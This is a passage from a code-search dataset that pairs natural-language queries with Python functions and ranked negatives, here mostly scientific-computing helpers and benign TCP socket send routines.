k.lower():evalues[k][1] for k in evalues.keys()})\\n\\n tmp['%s_status' % ch] = 'OK' if not status else status\\n tmp['%s_good_hits' % ch] = all_good_hits_with_scores\\n\\n tmp['cdr3%s' % ch],tmp['cdr3%s_nucseq' % ch] = tmp['cdr3%s_plus' % ch].split('-')\\n tmp['cdr3%s_quals' % ch] = get_qualstring( tmp['cdr3%s_plus' % ch], nuc, quals )\\n tmp['v%s_mismatches' % ch] = tmp['v%s_mm' % ch][0]\\n tmp['j%s_mismatches' % ch] = tmp['j%s_mm' % ch][0]\\n tmp['v%s_alignlen' % ch] = np.sum(tmp['v%s_mm' % ch])\\n tmp['j%s_alignlen' % ch] = np.sum(tmp['j%s_mm' % ch])\\n\\n hits = tmp['%s_good_hits' % ch]\\n if hits and len(hits) == 2 and hits[0] and hits[1]:\\n tmp['v%s_blast_hits' % ch] = ';'.join( '{}:{}'.format(x[0],x[1]) for x in hits[0] )\\n tmp['j%s_blast_hits' % ch] = ';'.join( '{}:{}'.format(x[0],x[1]) for x in hits[1] )\\n va_genes = util.get_top_genes( tmp['v%s_blast_hits' % ch] ) ## a set\\n ja_genes = util.get_top_genes( tmp['j%s_blast_hits' % ch] )\\n tmp['v%s_genes' % ch] = ';'.join( sorted( va_genes ) )\\n tmp['j%s_genes' % ch] = ';'.join( sorted( ja_genes ) )\\n tmp['v%s_reps' % ch] = ';'.join( sorted( util.get_top_reps( tmp['v%s_blast_hits' % ch], organism ) ) )\\n tmp['j%s_reps' % ch] = ';'.join( sorted( util.get_top_reps( tmp['j%s_blast_hits' % ch], organism ) ) )\\n tmp['v%s_countreps' % ch] = ';'.join( sorted( set( (util.get_mm1_rep_gene_for_counting(x,organism) for x in va_genes ))))\\n tmp['j%s_countreps' % ch] = ';'.join( sorted( set( (util.get_mm1_rep_gene_for_counting(x,organism) for x in ja_genes ))))\\n\\n chain = TCRChain(**tmp)\\n return chain\",\n \"def reader_score():\\n reader_ranef_negative, reader_ranef_positive = sigma_r * rng.randn(2)\\n error_term = np.sqrt(1 - sigma_c**2) * rng.randn(num_cases)\\n reader_score = (mu + delta_mu) * disease\\n reader_score += reader_ranef_negative * (1 - disease)\\n reader_score += reader_ranef_positive * disease\\n reader_score += sigma_c * case_random_effect\\n reader_score += error_term\\n return reader_score\",\n \"def b2_precision(system_output, gold_standard, sys_el2kbid, gold_el2kbid):\\n el_pre_sums = 0.0\\n num_elements = 0\\n \\n for kb_id in system_output.keys():\\n mention_set = system_output[kb_id]\\n\\n num_elements += len(mention_set)\\n \\n for el_a in mention_set:\\n num_correct = 0\\n \\n for el_b in mention_set:\\n correct = b2_correctness(el_a, el_b, sys_el2kbid, gold_el2kbid)\\n if(correct): num_correct +=1\\n\\n el_pre = num_correct / float(len(mention_set))\\n \\n el_pre_sums += el_pre\\n \\n #print \\\"\\\\t%s\\\\t%.2f\\\" % (el_a, el_pre)\\n\\n P = el_pre_sums / float(num_elements)\\n \\n return P\",\n \"def rdmb(vs, mbs, out_file_base, prms, max_ite=2000):\\n\\n nei, dnei, fvnei, fv, dnei6mean, dnei6std = get_nei_force(vs, mbs)\\n\\n dneiN = dnei / dnei6mean\\n\\n n = len(vs)\\n max_nei = len(nei[0])\\n\\n er = mbs.effective_radius(n)\\n\\n A, B, C, D, E, F, G = prms\\n\\n synUmax = 0.23\\n synVmax = 0.50\\n ucmax = 6.0\\n\\n dt = 1.0e-2\\n\\n Du = 0.5\\n Dv = 10.0\\n\\n # RR = 30\\n RR = 80\\n\\n u = np.random.rand(n) * ucmax\\n v = np.random.rand(n) * ucmax\\n\\n rea_u = np.zeros(n)\\n rea_v = np.zeros(n)\\n syn_u = np.zeros(n)\\n syn_v = np.zeros(n)\\n\\n Ru = Du / (dneiN**2)\\n Rv = Dv / (dneiN**2)\\n\\n Ru[dnei > er] = 0\\n Rv[dnei > er] = 0\\n\\n save_rd_prms(out_file_base+\\\"_prms.npz\\\",\\n vs, mbs,\\n A, B, C, D, E, F, G,\\n synUmax, synVmax, ucmax, dt, Du, Dv, RR)\\n save_rd_uv(out_file_base+\\\"_{:05}.npz\\\".format(0), u, v)\\n\\n for ite in range(max_ite):\\n syn_u = A * u - B * v + C\\n syn_v = E * u - F\\n\\n syn_u[syn_u < 0] = 0\\n syn_u[syn_u > synUmax] = synUmax\\n syn_v[syn_v < 0] = 0\\n syn_v[syn_v > synVmax] = synVmax\\n\\n rea_u = syn_u - D * u\\n rea_v = syn_v - G * v\\n\\n uu = (Ru * (u[nei] - np.einsum('i,j->ij', u,\\n np.ones(max_nei)))).sum(axis=1)\\n vv = (Rv * (v[nei] - np.einsum('i,j->ij', v,\\n np.ones(max_nei)))).sum(axis=1)\\n\\n u += (RR * rea_u + uu) * dt\\n v += (RR * rea_v + vv) * dt\\n\\n if ((ite+1) % 500) == 0:\\n print(\\\"[ite: {}]\\\".format(ite+1))\\n\\n fname = out_file_base + \\\"_{:05}.npz\\\".format(max_ite)\\n save_rd_uv(fname, u, v)\\n\\n return True\",\n \"def count_reads(in_fastq, in_ref, KEY_INTERVAL=(10,80), DIR='FWD',\\r\\n KEY='CGAAACACCG', KEY_REV='GTTTTAGA', out_counts='counts.csv',\\r\\n out_np='np_counts.csv', out_stats='stats.txt'):\\r\\n\\r\\n # STEP 1A: OPEN INPUT FILES FOR PROCESSING, CHECK FOR REQUIRED FORMATTING\\r\\n # look for 'sgRNA_seq' column, raise Exception if missing\\r\\n df_ref = pd.read_csv(in_ref, header=0) # explicit header = first row\\r\\n if 'sgRNA_seq' not in df_ref.columns.tolist():\\r\\n raise Exception('in_ref is missing column: sgRNA_seq')\\r\\n # look for other cols, raise Warning if suggested cols are missing\\r\\n list_headcols = ['sgRNA_ID', 'sgRNA_seq', 'Gene', 'cut_site_AA', 'Domain']\\r\\n if not all(col in df_ref.columns.tolist() for col in list_headcols):\\r\\n list_miss = [col for col in list_headcols if col not in df_ref.columns.tolist()]\\r\\n warnings.warn('Warning! in_ref is missing column(s) for downstream functions: ' + str(list_miss))\\r\\n # try opening input FASTQ, raise Exception if not possible\\r\\n try:\\r\\n handle = open(in_fastq)\\r\\n except:\\r\\n print('Error! Could not open the FASTQ file: %s' % in_fastq)\\r\\n return\\r\\n\\r\\n # STEP 1B: SET UP VARIABLES FOR SCRIPT\\r\\n # make dictionary to hold sgRNA counts - sgRNA_seq, count as k,v\\r\\n dict_perfects = {sgRNA:0 for sgRNA in df_ref['sgRNA_seq']}\\r\\n list_np = [] # placeholder list for non-perfect matches\\r\\n num_reads = 0 # total number of reads processed\\r\\n num_perfect_matches = 0 # count of reads with a perfect match to library\\r\\n num_np_matches = 0 # count of reads without a perfect match to library\\r\\n num_nokey = 0 # count of reads where key was not found\\r\\n KEY_START, KEY_END = KEY_INTERVAL[0], KEY_INTERVAL[1] # set the key interval\\r\\n\\r\\n # STEP 2: PROCESS FASTQ FILE READS AND ADD COUNTS TO DICT\\r\\n readiter = SeqIO.parse(handle, 'fastq') # process reads in fastq file\\r\\n # find sgRNA using FORWARD direction (default)\\r\\n if DIR == 'FWD':\\r\\n for record in readiter: # contains the seq and Qscore etc.\\r\\n num_reads += 1\\r\\n read_sequence = str.upper(str(record.seq))\\r\\n key_region = read_sequence[KEY_START:KEY_END]\\r\\n key_index = key_region.find(KEY)\\r\\n if key_index >= 0: # if key found\\r\\n start_index = key_index + KEY_START + len(KEY)\\r\\n guide = read_sequence[start_index:(start_index + 20)]\\r\\n if guide in dict_perfects:\\r\\n dict_perfects[guide] += 1\\r\\n num_perfect_matches += 1\\r\\n else:\\r\\n num_np_matches += 1\\r\\n list_np.append(guide)\\r\\n else:\\r\\n num_nokey += 1\\r\\n # find sgRNA using REVERSE direction\\r\\n elif DIR == 'REV':\\r\\n for record in readiter: # contains the seq and Qscore etc.\\r\\n num_reads += 1\\r\\n read_sequence = str.upper(str(record.seq))\\r\\n key_region = read_sequence[KEY_START:KEY_END]\\r\\n key_index = key_region.find(KEY_REV)\\r\\n if key_index >= 0: # if key found\\r\\n start_index = key_index + KEY_START\\r\\n guide = read_sequence[(start_index - 20):(start_index)]\\r\\n if guide in dict_perfects:\\r\\n dict_perfects[guide] += 1\\r\\n num_perfect_matches += 1\\r\\n else:\\r\\n num_np_matches += 1\\r\\n list_np.append(guide)\\r\\n else:\\r\\n num_nokey += 1\\r\\n else:\\r\\n raise Exception('ERROR! Specified direction is not valid')\\r\\n handle.close()\\r\\n\\r\\n # STEP 3: SORT DICTIONARIES AND GENERATE OUTPUT FILES\\r\\n # sort perf matches (A-Z) with guides,counts as k,v and output to csv\\r\\n df_perfects = pd.DataFrame(data=dict_perfects.items(), columns=['sgRNA_seq', 'reads'])\\r\\n df_perfects.sort_values(by='sgRNA_seq', inplace=True)\\r\\n df_perfects.to_csv(out_counts, index=False, header=False)\\r\\n # now sort non-perfect matches by frequency and output to csv\\r\\n dict_np = Counter(list_np) # use Counter to tally up np matches\\r\\n df_npmatches = pd.DataFrame(data=dict_np.items(), columns=['sgRNA_seq', 'reads'])\\r\\n df_npmatches.sort_values(by='reads', ascending=False, inplace=True)\\r\\n df_npmatches.to_csv(out_np, index=False)\\r\\n\\r\\n # STEP 4: CALCULATE STATS AND GENERATE STAT OUTPUT FILE\\r\\n # percentage of guides that matched perfectly\\r\\n pct_perfmatch = round(num_perfect_matches/float(num_perfect_matches + num_np_matches) * 100, 1)\\r\\n # percentage of undetected guides (no read counts)\\r\\n guides_with_reads = np.count_nonzero(list(dict_perfects.values()))\\r\\n guides_no_reads = len(dict_perfects) - guides_with_reads\\r\\n pct_no_reads = round(guides_no_reads/float(len(dict_perfects.values())) * 100, 1)\\r\\n # skew ratio of top 10% to bottom 10% of guide counts\\r\\n top_10 = np.percentile(list(dict_perfects.values()), 90)\\r\\n bottom_10 = np.percentile(list(dict_perfects.values()), 10)\\r\\n if top_10 != 0 and bottom_10 != 0:\\r\\n skew_ratio = top_10/bottom_10\\r\\n else:\\r\\n skew_ratio = 'Not enough perfect matches to determine skew ratio'\\r\\n # calculate the read coverage (reads processed / sgRNAs in library)\\r\\n num_guides = df_ref['sgRNA_seq'].shape[0]\\r\\n coverage = round(num_reads / num_guides, 1)\\r\\n # calculate the number of unmapped reads (num_nokey / total_reads)\\r\\n pct_unmapped = round((num_nokey / num_reads) * 100, 2)\\r\\n\\r\\n # write analysis statistics to statfile\\r\\n with open(out_stats, 'w') as statfile:\\r\\n statfile.write('Number of reads processed: ' + str(num_reads) + '\\\\n')\\r\\n statfile.write('Number of reads where key was not found: ' + str(num_nokey) + '\\\\n')\\r\\n statfile.write('Number of perfect guide matches: ' + str(num_perfect_matches) + '\\\\n')\\r\\n statfile.write('Number of nonperfect guide matches: ' + str(num_np_matches) + '\\\\n')\\r\\n statfile.write('Number of undetected guides: ' + str(guides_no_reads) + '\\\\n')\\r\\n statfile.write('Percentage of unmapped reads (key not found): ' + str(pct_unmapped) + '\\\\n')\\r\\n statfile.write('Percentage of guides that matched perfectly: ' + str(pct_perfmatch) + '\\\\n')\\r\\n statfile.write('Percentage of undetected guides: ' + str(pct_no_reads) + '\\\\n')\\r\\n statfile.write('Skew ratio of top 10% to bottom 10%: ' + str(skew_ratio) + '\\\\n')\\r\\n statfile.write('Read coverage: ' + str(coverage))\\r\\n statfile.close()\\r\\n\\r\\n print(str(in_fastq) + ' processed')\\r\\n return\",\n \"def calc_hypercube_volume(r: float, n: int) -> float:\\n return (r * 2) ** n\",\n \"def load_rd_mb(fnbase, time_point=2000):\\n rd_prms = load_rd_prms(fnbase+\\\"_prms.npz\\\")\\n vs, mbs = rd_prms[0:2]\\n A, B, C, D, E, F, G, = rd_prms[2:9]\\n synUmax, synVmax, ucmax, dt, Du, Dv, RR = rd_prms[9:]\\n ucs, vcs = load_rd_uv(fnbase+\\\"_{:05}.npz\\\".format(time_point))\\n ucs = ucs / ucmax\\n ucs[ucs > 1.0] = 1.0\\n\\n return vs, ucs, A, C\",\n \"def large_sum(n, file_name):\\n\\tnumber_list = []\\n\\twith open(file_name) as f:\\n\\t\\tcontent = f.readlines()\\n\\t\\tfor row in content:\\n\\t\\t\\trow_clean = int(row)\\n\\t\\t\\tnumber_list.append(row_clean)\\n\\ttotal = sum(number_list)\\n\\treturn total\",\n \"def calcRs(distances):\\n r = {}\\n \\n for key in distances.keys():\\n summedDistances = 0\\n for subkey in distances[key].keys():\\n summedDistances += distances[key][subkey]\\n r[key] = summedDistances/(len(distances.keys())-2)\\n\\n return r\",\n \"def ml(milliliters):\\n return ul(milliliters*1000)\",\n \"def dbm_mw(dbm):\\n return 1*np.power(10, dbm/10)\",\n \"def rouge_n(eval_sentences, ref_sentences, n=2):\\n f1_scores = []\\n for eval_sentence, ref_sentence in zip(eval_sentences, ref_sentences):\\n eval_ngrams = _get_ngrams(n, eval_sentence)\\n ref_ngrams = _get_ngrams(n, ref_sentence)\\n ref_count = len(ref_ngrams)\\n eval_count = len(eval_ngrams)\\n\\n # Count the overlapping ngrams between evaluated and reference\\n overlapping_ngrams = eval_ngrams.intersection(ref_ngrams)\\n overlapping_count = len(overlapping_ngrams)\\n\\n # Handle edge case. This isn't mathematically correct, but it's good enough\\n if eval_count == 0:\\n precision = 0.0\\n else:\\n precision = float(overlapping_count) / eval_count\\n if ref_count == 0:\\n recall = 0.0\\n else:\\n recall = float(overlapping_count) / ref_count\\n f1_scores.append(2.0 * ((precision * recall) / (precision + recall + 1e-8)))\\n\\n # return overlapping_count / reference_count\\n return np.mean(f1_scores, dtype=np.float32)\",\n \"def compute_rouge_n(output, reference, n=1, mode='f'):\\n assert mode in list('fpr') # F-1, precision, recall\\n match = _n_gram_match(reference, output, n)\\n if match == 0:\\n score = 0.0\\n else:\\n precision = match / len(list(make_n_grams(output, n)))\\n recall = match / len(list(make_n_grams(reference, n)))\\n f_score = 2 * (precision * recall) / (precision + recall)\\n if mode == 'p':\\n score = precision\\n elif mode == 'r':\\n score = recall\\n else:\\n score = f_score\\n return score\",\n \"def get_load_factor(self):\\n # Your code here\\n return self.total_items / self.capacity\",\n \"def mem2cachesize(desired_rmem):\\n vmem = max(desired_rmem, 50.0)\\n Ncache = int(abs(float(vmem) - 35.0) / 0.0157)\\n return Ncache\",\n \"def KB_Dist(P,Q):\\r\\n \\r\\n \\r\\n K=0\\r\\n Epsilon=0.000001\\r\\n Q+=Epsilon\\r\\n P+=Epsilon\\r\\n for x in range(len(Q)):\\r\\n K-=P[x]*np.log(Q[x]/P[x])\\r\\n return K\",\n \"def get_n_share(contig_paths: List[str]) -> dict:\\n\\n n_share_dict = {}\\n seq_dict = {}\\n\\n for contig_path in contig_paths:\\n with open(contig_path, \\\"r\\\") as handle:\\n for line in handle.read().splitlines():\\n if line.startswith(\\\">\\\"):\\n key = line.replace(\\\">\\\", \\\"\\\").split(\\\" \\\")[0].split(\\\".\\\")[0]\\n seq_dict[key] = \\\"\\\"\\n else:\\n seq_dict[key] += line\\n\\n for key, value in seq_dict.items():\\n n_share_dict[key] = value.count(\\\"N\\\") / len(value)\\n\\n return n_share_dict\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6038982","0.590668","0.5849638","0.57630473","0.5746753","0.5619334","0.559292","0.5588034","0.5583821","0.55580336","0.5542441","0.5536606","0.5535897","0.55050975","0.5450824","0.5428289","0.54251826","0.54120463","0.5382752","0.53805065","0.5346536","0.53345317","0.532301","0.52795964","0.52405125","0.5157866","0.5135428","0.5134875","0.5131955","0.5129031","0.51269156","0.51082945","0.5107351","0.5105387","0.5100282","0.50847685","0.50843066","0.5082966","0.5072217","0.50633377","0.50609356","0.5060145","0.5057055","0.5045519","0.5045426","0.50404614","0.5030774","0.50305605","0.50237036","0.50229937","0.5019785","0.50174564","0.5012157","0.50108176","0.49964854","0.49929357","0.4989821","0.498055","0.49799192","0.49769047","0.4959743","0.49520245","0.4951161","0.49467126","0.49427113","0.49421716","0.49394816","0.49375108","0.49311537","0.49281418","0.49240008","0.4917518","0.4901133","0.49006447","0.4896232","0.4889869","0.48891085","0.48878914","0.48875183","0.48849237","0.48842302","0.48756966","0.4872791","0.4863992","0.48466697","0.48460695","0.48453775","0.48439857","0.4843209","0.48430306","0.48430228","0.48408264","0.48376054","0.48299965","0.48250076","0.4816152","0.48143193","0.48132965","0.4809422","0.48080546"],"string":"[\n \"0.6038982\",\n \"0.590668\",\n \"0.5849638\",\n \"0.57630473\",\n \"0.5746753\",\n \"0.5619334\",\n \"0.559292\",\n \"0.5588034\",\n \"0.5583821\",\n \"0.55580336\",\n \"0.5542441\",\n \"0.5536606\",\n \"0.5535897\",\n \"0.55050975\",\n \"0.5450824\",\n \"0.5428289\",\n \"0.54251826\",\n \"0.54120463\",\n \"0.5382752\",\n \"0.53805065\",\n \"0.5346536\",\n \"0.53345317\",\n \"0.532301\",\n \"0.52795964\",\n \"0.52405125\",\n \"0.5157866\",\n \"0.5135428\",\n \"0.5134875\",\n \"0.5131955\",\n \"0.5129031\",\n \"0.51269156\",\n \"0.51082945\",\n \"0.5107351\",\n \"0.5105387\",\n \"0.5100282\",\n \"0.50847685\",\n \"0.50843066\",\n \"0.5082966\",\n \"0.5072217\",\n \"0.50633377\",\n \"0.50609356\",\n \"0.5060145\",\n \"0.5057055\",\n \"0.5045519\",\n \"0.5045426\",\n \"0.50404614\",\n \"0.5030774\",\n \"0.50305605\",\n \"0.50237036\",\n \"0.50229937\",\n \"0.5019785\",\n \"0.50174564\",\n \"0.5012157\",\n \"0.50108176\",\n \"0.49964854\",\n \"0.49929357\",\n \"0.4989821\",\n \"0.498055\",\n \"0.49799192\",\n \"0.49769047\",\n \"0.4959743\",\n \"0.49520245\",\n \"0.4951161\",\n \"0.49467126\",\n \"0.49427113\",\n \"0.49421716\",\n \"0.49394816\",\n \"0.49375108\",\n \"0.49311537\",\n \"0.49281418\",\n \"0.49240008\",\n \"0.4917518\",\n \"0.4901133\",\n \"0.49006447\",\n \"0.4896232\",\n \"0.4889869\",\n \"0.48891085\",\n \"0.48878914\",\n \"0.48875183\",\n \"0.48849237\",\n \"0.48842302\",\n \"0.48756966\",\n \"0.4872791\",\n \"0.4863992\",\n \"0.48466697\",\n \"0.48460695\",\n \"0.48453775\",\n \"0.48439857\",\n \"0.4843209\",\n \"0.48430306\",\n \"0.48430228\",\n \"0.48408264\",\n \"0.48376054\",\n \"0.48299965\",\n \"0.48250076\",\n \"0.4816152\",\n \"0.48143193\",\n \"0.48132965\",\n \"0.4809422\",\n \"0.48080546\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.57263666"},"document_rank":{"kind":"string","value":"5"}}},{"rowIdx":80092,"cells":{"query":{"kind":"string","value":"sendTCP_raw_singe same as sendTCP_raw but for single message"},"document":{"kind":"string","value":"def sendTCP_raw_single(m,ip,port):\n s=socket.socket()\n s.settimeout(1)\n s.connect((ip,port))\n s.send(m.data)\n #print (\"RetVal: %s\" % s.recv(1000))\n return s.recv(1000)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def sendRaw(self, msg, echo = False):\n\n sent = self.__sock.send(msg)\n if sent > 0 and echo:\n print \"Sent: %s\"%msg,","async def send_raw(self, raw_message : str):\n await self._connection.send_raw(raw_message)","async def send_raw(self, data: bytes) -> None:\n await self.socket.sendall(data)","def sendTCP_raw_bytes(data,ip,port):\n s=socket.socket()\n s.settimeout(3)\n s.connect((ip,port))\n s.send(data)\n #print (\"RetVal: %s\" % s.recv(1000))\n return s.recv(1000)","def _send(self, raw, addr):\n raise NotImplementedError('implement using any Transport Layer')","def _raw(self, txt):\n\n if not txt:\n return\n\n rlog(2, self.name + '.sending', txt)\n\n try:\n self.lastoutput = time.time()\n itxt = toenc(outputmorphs.do(txt), self.encoding)\n if self.ssl:\n self.sock.write(itxt + '\\n')\n else:\n self.sock.send(itxt[:500] + '\\n')\n except Exception, ex:\n # check for broken pipe error .. if so ignore \n # used for nonblocking sockets\n try:\n (errno, errstr) = ex\n if errno != 32 and errno != 9:\n raise\n else:\n rlog(10, self.name, 'broken pipe/bad socket error .. ignoring')\n except:\n rlog(10, self.name, \"ERROR: can't send %s\" % str(ex))\n self.reconnect()","def tcp_message(self, flow: mitmproxy.tcp.TCPFlow):","def send(message):\n\tmessage = message.encode()\n\tconn.send(message)","def send(self, data):","def send_protocol_message(self, msg):\n self.conn.send(msg + \"\\0\")","def sendMessage(self, payload, isBinary):","def send_message(self, message):\r\n\t\tself.__tcpSocket.write(message.encode('utf8'))","def send(self):\r\n return self.sendRaw(self.message)","def send(self, data: bytes):","def send(msg): # event is passed by binders.\n # print(\"i sended: \" + msg)\n msg = msg + \";\"\n client_socket.send(bytes(msg, \"utf8\"))","def sendraw(self, txt):\n\n if self.stopped:\n return\n rlog(2, self.name + '.sending', txt)\n self._raw(txt)","def send_data(self, msg):\n totalsent = 0\n # tt= struct.unpack('c'*len(msg), msg)\n # print(tt)\n while totalsent < len(msg):\n try:\n sent = self.sockfd.send(msg)\n except:\n print(f'{self.ip} socket failed')\n break\n if sent == 0:\n raise RuntimeError(\"Socket connection broken\")\n totalsent = totalsent + sent","async def send(self, message):","def send_raw_pack(self, raw_data):\n if self.append_connect:\n return\n self.append_send_buffer += raw_data\n self.handle_write()","def send_raw_pack(self, raw_data):\n if self.append_connect:\n return\n self.append_send_buffer += raw_data\n self.handle_write()","def _send(self, message):\n self.sock.sendall('%s\\n' % message)","def send_message(self, message, raw = None):\n if not self.opened:\n logger.error(\"%s: Cannot send while closed!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Cannot send while closed!\")\n if raw != None:\n logger.error(\"%s: TCP Server doesn't support raw send!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"TCP Server doesn't support raw send!\")\n \n # Send Message\n try:\n self._platform.route_message(message = message)\n except utils.TransportError as ex:\n for i in range(len(self._clients),0,-1):\n if not self._clients[i-1].is_open():\n return\n raise ex","def req_stream_bin(self):\n meassage = b'SUP 23 1' + self.end_mess_bytes\n print('Requesting binary stream...')\n self.sock.sendall(meassage)","def send_raw_pack(self, raw_data):\n self.append_send_buffer += raw_data\n LOGGER.debug(\"local session send_raw_pack %s\", raw_data)\n if not self.append_connect:\n self.handle_write()","def send_msg(sock, msg):\n msg += '\\0'\n data = msg.encode('utf-8')\n sock.sendall(data)","def send(send_msg, sock):\r\n send_msg = send_msg.encode()\r\n sock.send(send_msg)\r\n msg = sock.recv(1024)\r\n msg = msg.decode()\r\n return msg","def raw_socket(self) -> SocketType:","def just_send(self, client_socket, msg):\n msg = msg.encode('utf-8')\n message_header = f\"{len(msg):<{HEADER_LENGTH}}\".encode('utf-8')\n client_socket.send(message_header + msg)\n return","def __send_request(self, msg, sock):\n if type(msg) != bytes:\n response = bytes(f\"{msg}\", \"ascii\")\n print(f\"--> Sending: {msg}\")\n sock.sendall(response)","def send(self, msg):\n body = json.dumps(msg)\n body = \"Content-Length: \" + str(len(body)) + \"\\r\\n\\r\\n\" + body\n body = bytes(body, \"ascii\")\n totalsent = 0\n while totalsent < len(body):\n sent = self.sock.send(body[totalsent:])\n if sent == 0:\n raise RuntimeError(\"socket connection broken\")\n totalsent = totalsent + sent","def send(self, msg):\n msg = stc.pack('>I', len(msg)) + msg\n self.sendall(msg)","def send(self):\n if(self.target):\n try:\n self.message = self.message +\"\\r\\n\"\n self.target[0].send(self.message)\n except socket.error, err:\n print err","def sendraw(self, st):\n\n st = self.as_str(st)\n\n if '\\n' in st or '\\r\\n' in st:\n raise ValueError('cannot send strings with newline characters')\n _python_print_function(st, file=self.stdout or sys.stdout)","def send_message(self, message):\n msg = pickle.dumps(message)\n msg = bytes(f'{len(msg):<{HEADER_SIZE}}', FORMAT) + msg\n self.client.send(msg)\n return self.receive_message()","def send_bytes(self, data: bytes) -> None:","def _send(self, msg, msgID, protocol, remoteID):\r\n if self._GZIP_LVL:\r\n self._sendToClient(StringIO(zlib.compress(msg, self._GZIP_LVL)),\r\n msgID, protocol, remoteID)\r\n else:\r\n self._sendToClient(StringIO(msg), msgID, protocol, remoteID)","def send_message(self, message, raw = None):\n \n # Message Data\n if message != None:\n raw = message.raw_string()\n elif not isinstance(raw,str) and not isinstance(raw,bytes):\n raw = utils.to_bytes(raw)\n \n # Encryption???\n if self._crypt != None:\n logger.debug(\"%s: Encryption started...\" % \\\n self.__class__.__name__)\n \n # padd the bytes to a multiple of the block size\n raw += self._rand.read(self._crypt.block_size - \n (len(raw)%self._crypt.block_size))\n \n # perform the encryption\n raw = self._crypt.encrypt(raw)\n logger.debug(\"%s: ...encryption complete.\" % \\\n self.__class__.__name__)\n \n # Send Message\n try:\n logger.debug(\"%s: Socket write started...\" % \\\n self.__class__.__name__)\n if self._addr == None:\n sent = self._socket.send(raw)\n else:\n sent = self._socket.sendto(raw, self._addr)\n if sent == len(raw):\n logger.debug(\"%s: ...Socket write complete.\" % \\\n self.__class__.__name__)\n if isinstance(raw,str):\n logger.info(\"%s: Wrote %d bytes:\\n%s\" % \\\n (self.__class__.__name__, sent,\n ' '.join(map(utils.hex,map(ord,raw[:sent])))))\n else:\n logger.info(\"%s: Wrote %d bytes:\\n%s\" % \\\n (self.__class__.__name__, sent,\n ' '.join(map(utils.hex,raw[:sent]))))\n if sent < len(raw):\n logger.error(\"%s: Socket write incomplete!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Write Incomplete!\")\n \n # Send Failed\n except socket.error as ex:\n if ex.args[0] != 104:\n logger.error(\"%s: ...Socket has been closed.\" % \\\n (self.__class__.__name__))\n self.close()\n logger.error(\"%s: ...Socket write failed:\\n%s\" % \\\n (self.__class__.__name__,str(ex)))\n raise utils.TransportError \\\n (\"Socket Message send failed!\\n\" + str(ex))","def test_send(self):\n self.inverter.send(b\"\\x00\\x01\\x02\", b\"\")\n received_message = self.sock.recv(4096)\n self.assertEqual(message, received_message)","def send(self, msg):\n pass","def send(self, msg):\n pass","def send(self, msg):\n pass","def send(self, data: bytes) -> int:\n ...","def Send(self, payload):\n self._sock.send(payload)","def send(self, msg):\n # keep track of the total sent\n # so we can make sure the whole message is sent\n msg = (msg+'\\n').encode('utf-8')\n totalsent = 0\n while totalsent < len(msg):\n sent = self.sock.send(msg[totalsent:])\n # it is bad if we still have things to send\n # but do not send anything\n if sent == 0:\n raise RuntimeError(\"connection broken\")\n totalsent += sent","def __send_short(self, msg_id, param1, param2):\n data_out = struct.pack(\"<HBBBB\", msg_id, param1, param2,\n self.__dst, self.__src)\n if self.__debug:\n print \">>> %s\" % binascii.hexlify(data_out)\n self.__ser.write(data_out)\n self.__ser.flush()","def __send(self):\r\n self.msgLock.acquire()\r\n if self.numMsg > 0:\r\n self.socket.send(self.msg.pop(0))\r\n self.numMsg -= 1\r\n self.msgLock.release()","def send_packet(sender, payload):\n\n sender.write(payload)","def send(self, message):\n if not hasattr(message, '__iter__'):\n self.socket.send(message, constants.NOBLOCK)\n else:\n for m in message[:-1]:\n self.socket.send(m, constants.NOBLOCK | constants.SNDMORE)\n self.socket.send(message[-1], constants.NOBLOCK)\n\n if self.read_scheduled is None:\n self.read_scheduled = reactor.callLater(0, self.doRead)","def send_message(self, message, raw = None):\n if not self.opened:\n logger.error(\"%s: Cannot send while closed!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Cannot send while closed!\")\n if raw != None:\n logger.error(\"%s: UDP Server doesn't support raw send!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"UDP Server doesn't support raw send!\")\n \n # Send Message\n self._platform.route_message(message = message)","def send(event=None): # event is passed by binders.\r\n msg = my_msg.get()\r\n my_msg.set(\"\") # Clears input field.\r\n client_socket.send(bytes(msg, \"utf8\"))\r\n if msg == \"{quit}\":\r\n client_socket.close()\r\n top.quit()","def __read_message(self):\r\n\t\t# instr = QDataStream(self.__tcpSocket)\r\n\t\t# instr.setVersion(QDataStream.Qt_5_0)\r\n\t\t# if self.blockSize == 0:\r\n\t\t#\t if self.__tcpSocket.bytesAvailable() < 2:\r\n\t\t#\t\t return\r\n\t\t#\t self.blockSize = instr.readUInt16()\r\n\t\t# if self.__tcpSocket.bytesAvailable() < self.blockSize:\r\n\t\t#\t return\r\n\t\t# # Print response to terminal, we could use it anywhere else we wanted.\r\n\t\t# message = str(instr.readString(), encoding='utf8')\r\n\t\t# print(\"New message received : '{}'.\".format(message))\r\n\t\t# self.decode_message(message)\r\n\r\n\t\tinstr = self.__tcpSocket.readAll()\r\n\t\tmessage = str(instr, encoding=\"utf8\")\r\n\t\tself.decode_message(message)","def send_packet(sender, payload):\n sender.write(payload)","def send (self, data):\n return self.sending.send(data)","def client(msg):\n # address changed to 10000 for server2.py\n infos = socket.getaddrinfo('127.0.0.1', 10000)\n stream_info = [idx for idx in infos if idx[1] == socket.SOCK_STREAM][0]\n client_msg = socket.socket(*stream_info[:3])\n client_msg.connect(stream_info[-1])\n client_msg.sendall(msg.encode('utf8'))\n buffer_length = 80\n msg_complete = False\n msg = u''\n while not msg_complete:\n part = client_msg.recv(buffer_length)\n msg += part.decode('utf8')\n if len(part) < buffer_length:\n msg_complete = True\n client_msg.close()\n return msg\n print(msg)","def __send_message(self, data):\n if RemotePlayerProxy.DEBUG:\n print(f'[RPP] [SEND] -> [{self.name}]: {data}')\n\n try:\n self.__socket.sendall(bytes(data, 'ascii'))\n except Exception as e:\n if RemotePlayerProxy.DEBUG:\n print(e)","def send(self, message):\n pass","def send(self, msg):\r\n if isinstance(msg, str):\r\n msg = msg.encode()\r\n logger.debug('Sending message: %s ...', repr(msg))\r\n self._socket.sendall(msg)","def send_message(self, message, raw = None):\n if not self._socket.is_open(): \n self.close()\n if not self.opened:\n 